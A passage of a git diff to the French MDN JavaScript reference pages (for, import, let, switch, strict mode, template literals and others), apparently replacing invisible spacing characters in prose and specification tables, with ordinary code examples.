que `i` est inférieur (strictement) à 9 et exécute ensuite les deux instructions contenues dans la boucle, ensuite elle incrémente `i` de 1, ce qui sera fait à chaque passage dans la boucle. +L'instruction `for` qui suit débute en déclarant la variable `i` et en l'initialisant à 0. Elle vérifie que `i` est inférieur (strictement) à 9 et exécute ensuite les deux instructions contenues dans la boucle, ensuite elle incrémente `i` de 1, ce qui sera fait à chaque passage dans la boucle. ```js for (var i = 0; i < 9; i++) { @@ -99,10 +99,10 @@ function showOffsetPos (sId) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | ------------------- | -| {{SpecName('ESDraft', '#sec-for-statement', 'for statement')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES6', '#sec-for-statement', 'instruction for')}} | {{Spec2('ES6')}} | | -| {{SpecName('ES5.1', '#sec-12.6.3', 'instruction for')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES3', '#sec-12.6.3', 'instruction for')}} | {{Spec2('ES3')}} | | +| {{SpecName('ESDraft', '#sec-for-statement', 'for statement')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-for-statement', 'instruction for')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-12.6.3', 'instruction for')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES3', '#sec-12.6.3', 'instruction for')}} | {{Spec2('ES3')}} | | | {{SpecName('ES1', '#sec-12.6.2', 'instruction for')}} | {{Spec2('ES1')}} | Définition initiale | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/statements/function/index.md b/files/fr/web/javascript/reference/statements/function/index.md index 0ad6510645..d25569a84b 100644 --- a/files/fr/web/javascript/reference/statements/function/index.md +++ b/files/fr/web/javascript/reference/statements/function/index.md @@ -121,10 +121,10 @@ function calc_ventes(nb_produits_a, nb_produits_b, nb_produits_c) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | -| {{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES6', '#sec-function-definitions', 'Définition de fonction')}} | {{Spec2('ES6')}} | | -| {{SpecName('ES5.1', '#sec-13', 'Définition de fonction')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES3', '#sec-13', 'Définition de fonction')}} | {{Spec2('ES3')}} | | +| {{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-function-definitions', 'Définition de fonction')}} | {{Spec2('ES6')}} | | +| {{SpecName('ES5.1', '#sec-13', 'Définition de fonction')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES3', '#sec-13', 'Définition de fonction')}} | {{Spec2('ES3')}} | | | {{SpecName('ES1', '#sec-13', 'Définition de fonction')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/statements/import/index.md b/files/fr/web/javascript/reference/statements/import/index.md index f924b45481..f2506afd53 100644 --- a/files/fr/web/javascript/reference/statements/import/index.md +++ b/files/fr/web/javascript/reference/statements/import/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Instructions/import --- {{jsSidebar("Statements")}} -L'instruction **`import`** est utilisée pour importer des liens qui sont exportés par un autre module. Les modules importés sont interprétés en [mode strict](/fr/docs/Web/JavaScript/Reference/Strict_mode) dans tous les cas. L'instruction `import` ne peut pas être utilisée dans les scripts embarqués sauf si ceux-ci proviennent de ressources avec [`type="module"`](/fr/docs/Web/HTML/Element/script#Attributs). +L'instruction **`import`** est utilisée pour importer des liens qui sont exportés par un autre module. Les modules importés sont interprétés en [mode strict](/fr/docs/Web/JavaScript/Reference/Strict_mode) dans tous les cas. L'instruction `import` ne peut pas être utilisée dans les scripts embarqués sauf si ceux-ci proviennent de ressources avec [`type="module"`](/fr/docs/Web/HTML/Element/script#Attributs). > **Note :** Il existe également une forme fonctionnelle, `import()` (cf. [ci-après](#dyn)) qui permet d'avoir des chargements dynamiques. La compatibilité ascendante peut être atteinte en utilisant l'attribut `nomodule` sur la balise {{HTMLElement("script")}}. @@ -33,35 +33,35 @@ L'instruction **`import`** est utilisée pour importer des liens qui sont expor - `exportParDefaut` - : Nom qui fera référence à l'export par défaut du module. - `nom-module` - - : Le module depuis lequel importer. C'est souvent un chemin absolu ou relatif vers le fichier `.js` contenant le module. Certains empaqueteurs peuvent permettre ou requérir l'utilisation de l'extension ; vérifier votre environnement. Seules les String à apostrophes simples ou doubles sont autorisées. + - : Le module depuis lequel importer. C'est souvent un chemin absolu ou relatif vers le fichier `.js` contenant le module. Certains empaqueteurs peuvent permettre ou requérir l'utilisation de l'extension ; vérifier votre environnement. Seules les String à apostrophes simples ou doubles sont autorisées. - `nom` - - : Nom de l'objet module qui sera utilisé comme un genre d'espace de noms lors de références aux imports. + - : Nom de l'objet module qui sera utilisé comme un genre d'espace de noms lors de références aux imports. - `export`, `exportN` - - : Nom des exports à importer. + - : Nom des exports à importer. - `alias`, `aliasN` - : Noms qui feront référence aux imports nommés. ## Description -Le paramètre `nom` est le nom de l'"objet module" qui sera utilisé comme un genre d'espace de noms lors de références aux exports. Les paramètres `export` indiquent les exports nommés individuellement, tandis que la syntaxe `import * as nom` les importe tous. Ci-dessous d'autres exemples pour clarifier la syntaxe. +Le paramètre `nom` est le nom de l'"objet module" qui sera utilisé comme un genre d'espace de noms lors de références aux exports. Les paramètres `export` indiquent les exports nommés individuellement, tandis que la syntaxe `import * as nom` les importe tous. Ci-dessous d'autres exemples pour clarifier la syntaxe. -### Importer l'intégralité du contenu d'un module +### Importer l'intégralité du contenu d'un module -Ce qui suit insère `monModule` dans la portée courante, contenant tous les exports du module dans le fichier situé dans `/modules/mon-module.js`. +Ce qui suit insère `monModule` dans la portée courante, contenant tous les exports du module dans le fichier situé dans `/modules/mon-module.js`. ```js import * as monModule from '/modules/mon-module.js'; ``` -Ici, accéder aux exports signifie utiliser le nom du module (ici `monModule`) comme un espace de noms. Par exemple, si le module importé ci-dessus incluait un export `faireToutesLesChosesIncroyables()`, vous l'écririez comme ceci : +Ici, accéder aux exports signifie utiliser le nom du module (ici `monModule`) comme un espace de noms. Par exemple, si le module importé ci-dessus incluait un export `faireToutesLesChosesIncroyables()`, vous l'écririez comme ceci : ```js monModule.faireToutesLesChosesIncroyables(); ``` -### Importer un seul export depuis un module +### Importer un seul export depuis un module -Étant donné un objet ou une valeur nommé(e) `monExport` qui est exporté(e) depuis le module `mon-module`, soit implicitement (parce que l'intégralité du module est exportée), soit explicitement (en utilisant l'instruction {{jsxref("Statements/export", "export")}}), ce qui suit insére `monExport` dans la portée courante. +Étant donné un objet ou une valeur nommé(e) `monExport` qui est exporté(e) depuis le module `mon-module`, soit implicitement (parce que l'intégralité du module est exportée), soit explicitement (en utilisant l'instruction {{jsxref("Statements/export", "export")}}), ce qui suit insére `monExport` dans la portée courante. ```js import {monExport} from '/modules/mon-module.js'; @@ -69,7 +69,7 @@ import {monExport} from '/modules/mon-module.js'; ### Importer plusieurs éléments exportés depuis un module -Ce qui suit insère à la fois `machin` et `truc` dans la portée courante. +Ce qui suit insère à la fois `machin` et `truc` dans la portée courante. ```js import {machin, truc} from '/modules/mon-module.js'; @@ -77,16 +77,16 @@ import {machin, truc} from '/modules/mon-module.js'; ### Importer un élément exporté avec un alias -Vous pouvez renommer un export lors de l'importation. Par exemple, ce qui suit insére `nomCourt` dans la portée courante. +Vous pouvez renommer un export lors de l'importation. Par exemple, ce qui suit insére `nomCourt` dans la portée courante. ```js import {nomDExportDeModuleVraimentVraimentLong as nomCourt} from '/modules/mon-module.js'; ``` -### Renommer plusieurs exports pendant l'import +### Renommer plusieurs exports pendant l'import -Importe des exports multiples depuis un module avec des alias commodes : +Importe des exports multiples depuis un module avec des alias commodes : ```js import { @@ -97,23 +97,23 @@ import { ### Importer un module uniquement pour ses effets de bord -Importe un module complet pour ses effets de bord seulement, sans importer quoi que ce soit. Ce qui suit exécute le code global du module, mais n'importe en fait aucune valeur. +Importe un module complet pour ses effets de bord seulement, sans importer quoi que ce soit. Ce qui suit exécute le code global du module, mais n'importe en fait aucune valeur. ```js import '/modules/mon-module.js'; ``` -### Importation des défauts +### Importation des défauts -Il est possible d'avoir un {{jsxref("Statements/export", "export")}} par défaut (que ce soit un objet, une fonction, une classe, etc.). L'instruction `import` peut alors être utilisée pour importer ces défauts. +Il est possible d'avoir un {{jsxref("Statements/export", "export")}} par défaut (que ce soit un objet, une fonction, une classe, etc.). L'instruction `import` peut alors être utilisée pour importer ces défauts. -La version la plus simple importe directement le défaut : +La version la plus simple importe directement le défaut : ```js import monDefaut from '/modules/mon-module.js'; ``` -Il est également possible d'utiliser la syntaxe de défaut avec celles vues ci-dessus (imports d'espaces de noms ou imports nommés). Dans de tels cas, l'import par défaut devra être déclaré en premier. Par exemple : +Il est également possible d'utiliser la syntaxe de défaut avec celles vues ci-dessus (imports d'espaces de noms ou imports nommés). Dans de tels cas, l'import par défaut devra être déclaré en premier. Par exemple : ```js import monDefaut, * as monModule from '/modules/mon-module.js'; @@ -146,7 +146,7 @@ let module = await import('/modules/mon-module.js'); ## Exemples -Importation depuis un module secondaire pour aider le traitement d'une requête AJAX JSON. +Importation depuis un module secondaire pour aider le traitement d'une requête AJAX JSON. ### Le module : fichier.js @@ -218,6 +218,6 @@ for (const link of document.querySelectorAll("nav > a")) { - [`import.meta`](/fr/docs/Web/JavaScript/Reference/Instructions/import.meta) - Limin Zhu, Brian Terlson et l'équipe Microsoft Edge : [Previewing ES6 Modules and more from ES2015, ES2016 and beyond](https://blogs.windows.com/msedgedev/2016/05/17/es6-modules-and-beyond/) - [Jason Orendorff : ES6 en détails : les modules](https://tech.mozfr.org/post/2015/08/21/ES6-en-details-%3A-les-modules) -- [Le livre d'Axel Rauschmayer : Exploring JS: Modules](https://exploringjs.com/es6/ch_modules.html) +- [Le livre d'Axel Rauschmayer : Exploring JS: Modules](https://exploringjs.com/es6/ch_modules.html) - [Un billet illustré de Lin Clark, traduit en français, sur les modules](https://tech.mozfr.org/post/2018/04/06/Une-plongee-illustree-dans-les-modules-ECMAScript) - [Tutoriel JavaScript sur `export` et `import`](https://javascript.info/import-export) diff --git a/files/fr/web/javascript/reference/statements/label/index.md b/files/fr/web/javascript/reference/statements/label/index.md index ac0e02216e..0a1dd1906b 100644 --- a/files/fr/web/javascript/reference/statements/label/index.md +++ b/files/fr/web/javascript/reference/statements/label/index.md @@ -30,7 +30,7 @@ Une **instruction étiquetée (_labeled_ en anglais)** peut être utilisée avec Une étiquette (_label_) peut être utilisée pour identifier une boucle et pour y faire référence à l'intérieur en utilisant les instructions `break` ou `continue` afin d'interrompre cette boucle ou de reprendre son exécution. -JavaScript _ne possède pas_ d'instruction `goto`, les étiquettes ne peuvent être utilisées que par les instructions `break` ou `continue`. +JavaScript _ne possède pas_ d'instruction `goto`, les étiquettes ne peuvent être utilisées que par les instructions `break` ou `continue`. En [mode strict](/fr/docs/Web/JavaScript/Reference/Strict_mode), on ne peut pas utiliser `let` comme étiquette, cela lèvera une exception {{jsxref("SyntaxError")}} (`let` est un identifiant réservé). @@ -171,9 +171,9 @@ L: function* F() {} | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2. | -| {{SpecName('ES5.1', '#sec-12.12', 'Labelled statement')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-labelled-statements', 'Labelled statement')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-labelled-statements', 'Labelled statement')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-12.12', 'Labelled statement')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-labelled-statements', 'Labelled statement')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-labelled-statements', 'Labelled statement')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/statements/let/index.md b/files/fr/web/javascript/reference/statements/let/index.md index df64126959..5078f10df3 100644 --- a/files/fr/web/javascript/reference/statements/let/index.md +++ b/files/fr/web/javascript/reference/statements/let/index.md @@ -181,7 +181,7 @@ truc.montrerPrivee(); Cette technique permet d'obtenir un état privé « statique ». Ainsi, dans l'exemple qui précède, toutes les instances de `Truc` partageront la même `portéePrivée`. Il était possible d'obtenir un tel isolement avec `var` mais il fallait passer par des fonctions isolées (généralement des fonctions immédiatement appelées (_IIFE_)). -### Zone morte temporaire (_Temporal Dead Zone_ / TDZ) et les erreurs liées à `let` +### Zone morte temporaire (_Temporal Dead Zone_ / TDZ) et les erreurs liées à `let` Lorsqu'on redéclare une même variable au sein d'une même portée de bloc, cela entraîne une exception {{jsxref("SyntaxError")}}. diff --git a/files/fr/web/javascript/reference/statements/return/index.md b/files/fr/web/javascript/reference/statements/return/index.md index baec4c0f37..08f8b5beba 100644 --- a/files/fr/web/javascript/reference/statements/return/index.md +++ b/files/fr/web/javascript/reference/statements/return/index.md @@ -131,9 +131,9 @@ réponse(1337); // 56154 | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-12.9', 'Return statement')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-return-statement', 'Return statement')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-12.9', 'Return statement')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-return-statement', 'Return statement')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/statements/switch/index.md b/files/fr/web/javascript/reference/statements/switch/index.md index e478726ba6..548ac9346a 100644 --- a/files/fr/web/javascript/reference/statements/switch/index.md +++ b/files/fr/web/javascript/reference/statements/switch/index.md @@ -63,7 +63,7 @@ L'instruction {{jsxref("Instructions/break","break")}} peut optionnellement êtr ### Utiliser `switch` -Dans l'exemple suivant, si l'expression `expr` vaut "Bananes", le programme trouve la correspondance et exécute l'instruction associée. Lorsque l'instruction `break` est trouvée, le programme « sort » de l'instruction `switch` et continue l'exécution avec les instructions suivantes. Si `break` n'avait pas été utilisé, l'instruction du cas "Cerises" aurait également été exécutée. +Dans l'exemple suivant, si l'expression `expr` vaut "Bananes", le programme trouve la correspondance et exécute l'instruction associée. Lorsque l'instruction `break` est trouvée, le programme « sort » de l'instruction `switch` et continue l'exécution avec les instructions suivantes. Si `break` n'avait pas été utilisé, l'instruction du cas "Cerises" aurait également été exécutée. ```js switch (expr) { @@ -258,9 +258,9 @@ Cette nouvelle version, exécutée, produira `"bonjour"` dans la console, sans c | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------- | ---------------------------- | ---------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.2 | -| {{SpecName('ES5.1', '#sec-12.11', 'instruction switch')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-switch-statement', 'instruction switch')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-12.11', 'instruction switch')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-switch-statement', 'instruction switch')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-switch-statement', 'switch statement')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/statements/with/index.md b/files/fr/web/javascript/reference/statements/with/index.md index 13fcf99f4e..bb7f84825f 100644 --- a/files/fr/web/javascript/reference/statements/with/index.md +++ b/files/fr/web/javascript/reference/statements/with/index.md @@ -83,10 +83,10 @@ with (Math) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | ---------------------------------- | -| {{SpecName('ESDraft', '#sec-with-statement', 'with statement')}} | {{Spec2('ESDraft')}} | | -| {{SpecName('ES6', '#sec-with-statement', 'Instruction with')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-with-statement', 'with statement')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-with-statement', 'Instruction with')}} | {{Spec2('ES6')}} | | | {{SpecName('ES5.1', '#sec-12.10', 'Instruction with')}} | {{Spec2('ES5.1')}} | Désormais interdit en mode strict. | -| {{SpecName('ES3', '#sec-12.10', 'Instruction with')}} | {{Spec2('ES3')}} | | +| {{SpecName('ES3', '#sec-12.10', 'Instruction with')}} | {{Spec2('ES3')}} | | | {{SpecName('ES1', '#sec-12.10', 'Instruction with')}} | {{Spec2('ES1')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/strict_mode/index.md b/files/fr/web/javascript/reference/strict_mode/index.md index ce165b7145..b858bc2ed0 100644 --- a/files/fr/web/javascript/reference/strict_mode/index.md +++ b/files/fr/web/javascript/reference/strict_mode/index.md @@ -331,7 +331,7 @@ function fun(static) { 'use strict'; } // !!! Deux défauts liés à Mozilla Firefox : tout d'abord si votre code est en JavaScript 1.7 ou supérieur (par exemple pour du code qui concerne le chrome dans les extensions ou lorsqu'on utilise les balises `<script type="">`) et qu'il est en mode strict, `let` et `yield` fonctionnent de la façon dont ils fonctionnaient originellement au sein de Firefox. En revanche, pour du code strict utilisé sur une page web et chargé avec `<script src="">` ou `<script>...</script>`, on ne pourra pas utiliser `let`/`yield` comme identifiants. Ensuite, bien qu'ES5 réserve les mots-clés `class`, `enum`, `export`, `extends`, `import`, et `super` pour le mode strict et le mode non strict, les versions antérieures à Firefox 5 ne réservaient ces mots-clés que pour le mode strict. -Deuxièmement, [le mode strict interdit les déclarations de fonctions qui ne sont pas au niveau le plus haut d'un script ou d'une fonction](https://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/). En mode normal, il est possible de déclarer une fonction n'importe où avec une déclaration de fonction (voir {{jsxref("Instructions/function","function")}}). Ceci ne fait pas partie de la spécification ECMAScript et est donc une extension. [Le mode strict interdit cela](https://wiki.ecmascript.org/doku.php?id=conventions:no_non_standard_strict_decls), ce qui permet de lever toute ambiguité par rapport aux futures spécifications ECMAScript sur cette fonctionnalité. On notera que les instructions de fonctions écrites en dehors du plus haut niveau sont autorisées avec ES2015 : +Deuxièmement, [le mode strict interdit les déclarations de fonctions qui ne sont pas au niveau le plus haut d'un script ou d'une fonction](https://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/). En mode normal, il est possible de déclarer une fonction n'importe où avec une déclaration de fonction (voir {{jsxref("Instructions/function","function")}}). Ceci ne fait pas partie de la spécification ECMAScript et est donc une extension. [Le mode strict interdit cela](https://wiki.ecmascript.org/doku.php?id=conventions:no_non_standard_strict_decls), ce qui permet de lever toute ambiguité par rapport aux futures spécifications ECMAScript sur cette fonctionnalité. On notera que les instructions de fonctions écrites en dehors du plus haut niveau sont autorisées avec ES2015 : ```js "use strict"; diff --git a/files/fr/web/javascript/reference/template_literals/index.md b/files/fr/web/javascript/reference/template_literals/index.md index e774c50664..2c084fdf40 100644 --- a/files/fr/web/javascript/reference/template_literals/index.md +++ b/files/fr/web/javascript/reference/template_literals/index.md @@ -14,7 +14,7 @@ original_slug: Web/JavaScript/Reference/Littéraux_gabarits Les littéraux de gabarits sont des littéraux de chaînes de caractères permettant d'intégrer des expressions. Avec eux, on peut utiliser des chaînes de caractères multi-lignes et des fonctionnalités d'interpolation. -> **Note :** Dans les premières versions de la spécification ECMAScript 2015, cette fonctionnalité était intitulée « gabarits de chaîne de caractères ». Dans la suite de cet article, les expressions « gabarits de texte », « gabarits de libellés », « littéraux de gabarits » et « gabarits » seront équivalents. +> **Note :** Dans les premières versions de la spécification ECMAScript 2015, cette fonctionnalité était intitulée « gabarits de chaîne de caractères ». Dans la suite de cet article, les expressions « gabarits de texte », « gabarits de libellés », « littéraux de gabarits » et « gabarits » seront équivalents. ## Syntaxe @@ -29,9 +29,9 @@ Les littéraux de gabarits sont des littéraux de chaînes de caractères permet ## Description -Les gabarits sont délimités par des caractères [accent grave](https://fr.wikipedia.org/wiki/Accent_grave) (\` \`) au lieu des apostrophes doubles ou simples. Les gabarits peuvent contenir des espaces réservés (_placeholders_). Ces espaces sont indiqués par le signe dollar ($) et des accolades (`${expression})`. Les expressions dans les espaces réservés et le texte compris dans ces espaces sont passés à une fonction. +Les gabarits sont délimités par des caractères [accent grave](https://fr.wikipedia.org/wiki/Accent_grave) (\` \`) au lieu des apostrophes doubles ou simples. Les gabarits peuvent contenir des espaces réservés (_placeholders_). Ces espaces sont indiqués par le signe dollar ($) et des accolades (`${expression})`. Les expressions dans les espaces réservés et le texte compris dans ces espaces sont passés à une fonction. -Pour créer la chaîne finale, la fonction par défaut concatène simplement les différentes parties en une seule chaîne. Toutefois, on peut utiliser une fonction spécifique pour obtenir un comportement différent et recomposer la chaîne avec une autre logique. On parlera alors [de gabarit étiqueté (cf. ci-après)](#Gabarits_étiquetés). +Pour créer la chaîne finale, la fonction par défaut concatène simplement les différentes parties en une seule chaîne. Toutefois, on peut utiliser une fonction spécifique pour obtenir un comportement différent et recomposer la chaîne avec une autre logique. On parlera alors [de gabarit étiqueté (cf. ci-après)](#Gabarits_étiquetés). ```js let rep = 42; @@ -50,7 +50,7 @@ function concatenationAdHoc(chaines, reponse){ console.log(concatenationAdHoc`La réponse est ${rep}.`); ``` -Pour utiliser des accents graves dans un gabarit, on les échappera avec une barre oblique inverse (\\) : +Pour utiliser des accents graves dans un gabarit, on les échappera avec une barre oblique inverse (\\) : ```js `\`` === "`"; // true @@ -58,7 +58,7 @@ Pour utiliser des accents graves dans un gabarit, on les échappera avec une ba ### Les chaînes de caractères multi-lignes -Tous les caractères de saut de ligne insérés dans la source font partie du gabarit. Avec des chaînes de caractères normales, il aurait fallu utiliser la syntaxe suivante pour obtenir des chaînes multi-lignes : +Tous les caractères de saut de ligne insérés dans la source font partie du gabarit. Avec des chaînes de caractères normales, il aurait fallu utiliser la syntaxe suivante pour obtenir des chaînes multi-lignes : ```js console.log('ligne de texte 1\n'+ @@ -112,14 +112,14 @@ classes += (isLargeScreen() ? ' icon-expander' : ' icon-collapser'); ``` -En ES2015 avec des gabarits et sans imbrication : +En ES2015 avec des gabarits et sans imbrication : ```js const classes = `header ${ isLargeScreen() ? '' : (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`; ``` -En ES2015 avec des gabarits imbriqués : +En ES2015 avec des gabarits imbriqués : ```js const classes = `header ${ isLargeScreen() ? '' : @@ -128,30 +128,30 @@ const classes = `header ${ isLargeScreen() ? '' : ### Gabarits étiquetés -Les _gabarits étiquetés_ (_tagged templates_) sont une forme plus avancée de gabarits. On peut ici utiliser une fonction pour analyser les différents fragments du gabarit. Le premier argument passé à la fonction est l'ensemble de valeurs issues de chaînes de caractères sous la forme d'un tableau. Les arguments ensuite passés à la fonction seront les expressions contenues dans le gabarit. La fonction pourra ainsi créer une chaîne avec une autre forme de concaténation et utiliser une logique spécifique. La fonction utilisée pour le formatage du gabarit peut être nommée comme n'importe quelle autre fonction. +Les _gabarits étiquetés_ (_tagged templates_) sont une forme plus avancée de gabarits. On peut ici utiliser une fonction pour analyser les différents fragments du gabarit. Le premier argument passé à la fonction est l'ensemble de valeurs issues de chaînes de caractères sous la forme d'un tableau. Les arguments ensuite passés à la fonction seront les expressions contenues dans le gabarit. La fonction pourra ainsi créer une chaîne avec une autre forme de concaténation et utiliser une logique spécifique. La fonction utilisée pour le formatage du gabarit peut être nommée comme n'importe quelle autre fonction. ```js let personne = 'Michou'; let age = 28; function monEtiquette(chaines, expPersonne, expAge) { - let chn0 = chaines[0]; // "ce " - let chn1 = chaines[1]; // " est un " - - // Techniquement, il y a une chaîne après - // l'expression finale (dans notre exemple), - // mais elle est vide (""), donc ne pas en tenir compte. - // var chn2 = chaines[2]; - - let chnAge; - if (expAge > 99){ - chnAge = 'centenaire'; - } else { - chnAge = 'jeunot'; - } + let chn0 = chaines[0]; // "ce " + let chn1 = chaines[1]; // " est un " + + // Techniquement, il y a une chaîne après + // l'expression finale (dans notre exemple), + // mais elle est vide (""), donc ne pas en tenir compte. + // var chn2 = chaines[2]; + + let chnAge; + if (expAge > 99){ + chnAge = 'centenaire'; + } else { + chnAge = 'jeunot'; + } // On peut tout à fait renvoyer une chaîne construite // avec un gabarit - return `${chn0}${expPersonne}${chn1}${chnAge}`; + return `${chn0}${expPersonne}${chn1}${chnAge}`; } let sortie = monEtiquette`ce ${ personne } est un ${ age }`; @@ -162,7 +162,7 @@ console.log(sortie); ### Chaînes brutes -La propriété spéciale `raw`, disponible sur le premier argument de la fonction du gabarit étiqueté, vous permet d'accéder aux chaînes brutes, telles qu'elles ont été entrées, sans traiter [les séquences d'échappement](/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Utilisation_des_caractères_spéciaux). +La propriété spéciale `raw`, disponible sur le premier argument de la fonction du gabarit étiqueté, vous permet d'accéder aux chaînes brutes, telles qu'elles ont été entrées, sans traiter [les séquences d'échappement](/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Utilisation_des_caractères_spéciaux). ```js function etiquette(chaines) { @@ -174,7 +174,7 @@ etiquette`ligne de texte 1 \n ligne de texte 2`; // "ligne de texte 1 \n ligne de texte 2" ``` -En outre, la méthode {{jsxref("String.raw()")}} a pour fonction de créer des chaînes de caractères brutes, exactement comme la fonction de gabarit et de concaténation de chaînes par défaut le ferait : +En outre, la méthode {{jsxref("String.raw()")}} a pour fonction de créer des chaînes de caractères brutes, exactement comme la fonction de gabarit et de concaténation de chaînes par défaut le ferait : ```js let chn = String.raw`Salut\n${2+3}!`; @@ -189,16 +189,16 @@ chn.split('').join(','); ### Les gabarits étiquetés et les séquences d'échappement -#### Comportement de ES2016 +#### Comportement de ES2016 -Quant à ECMAScript 2016, les gabarits étiquetés se conforment aux règles de séquences d'échappement suivantes : +Quant à ECMAScript 2016, les gabarits étiquetés se conforment aux règles de séquences d'échappement suivantes : - Les séquences d'échappement Unicode commencent par "\u", par exemple`\u00A9` -- Les séquences d'échappement pour les points de code Unicode sont indiquées par "\u{}", par exemple `\u{2F804}` -- Les séquences d'échappement hexadécimales commencent par "\x", par exemple `\xA9` +- Les séquences d'échappement pour les points de code Unicode sont indiquées par "\u{}", par exemple `\u{2F804}` +- Les séquences d'échappement hexadécimales commencent par "\x", par exemple `\xA9` - Les séquences d'échappement octales commencent par un "\0o" suivi d'un (ou plusieurs) chiffre(s), par exemple `\0o251`. -Cela signifie qu'un gabarit étiqueté comme celui qui suit pose problème du fait que, selon la grammaire ECMAScript, un analyseur recherchera des séquences d'échappement Unicode valides, mais trouvera la syntaxe mal formée : +Cela signifie qu'un gabarit étiqueté comme celui qui suit pose problème du fait que, selon la grammaire ECMAScript, un analyseur recherchera des séquences d'échappement Unicode valides, mais trouvera la syntaxe mal formée : ```js latex`\unicode` @@ -208,9 +208,9 @@ latex`\unicode` #### Révision ES2018 pour les séquences d'échappement illégales -Les gabarits étiquetés doivent permettre l'intégration d'autres langages (par exemple, des [DSL](https://fr.wikipedia.org/wiki/Langage_d%C3%A9di%C3%A9) ou du [LaTeX](https://fr.wikipedia.org/wiki/LaTeX)), dans lesquels d'autres séquences d'échappement sont fréquentes. La proposition [Template Literal Revision](https://tc39.github.io/proposal-template-literal-revision/) pour ECMAScript (étape 4, à intégrer dans le standard ECMAScript 2018) supprime la restriction syntaxique des séquences d'échappement dans les gabarits étiquetés. +Les gabarits étiquetés doivent permettre l'intégration d'autres langages (par exemple, des [DSL](https://fr.wikipedia.org/wiki/Langage_d%C3%A9di%C3%A9) ou du [LaTeX](https://fr.wikipedia.org/wiki/LaTeX)), dans lesquels d'autres séquences d'échappement sont fréquentes. La proposition [Template Literal Revision](https://tc39.github.io/proposal-template-literal-revision/) pour ECMAScript (étape 4, à intégrer dans le standard ECMAScript 2018) supprime la restriction syntaxique des séquences d'échappement dans les gabarits étiquetés. -Toutefois, les séquences d'échappement illégales doivent toujours être représentées dans la version "bidouillée". Elles seront affichées comme un élément {{jsxref("undefined")}} dans le tableau "bidouillé" : +Toutefois, les séquences d'échappement illégales doivent toujours être représentées dans la version "bidouillée". Elles seront affichées comme un élément {{jsxref("undefined")}} dans le tableau "bidouillé" : ```js function latex(chn) { @@ -222,7 +222,7 @@ latex`\unicode` // { bidouillee: undefined, brute: "\\unicode" } ``` -Notez que la restriction sur les séquences d'échappement est uniquement supprimée pour les gabarits _étiquetés_, et non pour les gabarits de libellés *non étiquetés* : +Notez que la restriction sur les séquences d'échappement est uniquement supprimée pour les gabarits _étiquetés_, et non pour les gabarits de libellés *non étiquetés* : ```js example-bad let mauvaise = `mauvaise séquence d'échappement : \unicode`; @@ -245,5 +245,5 @@ let mauvaise = `mauvaise séquence d'échappement : \unicode`; - {{jsxref("String.raw()")}} - [Grammaire lexicale](/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale) - _[Template-like strings in ES3 compatible syntax](https://gist.github.com/WebReflection/8f227532143e63649804)_ -- 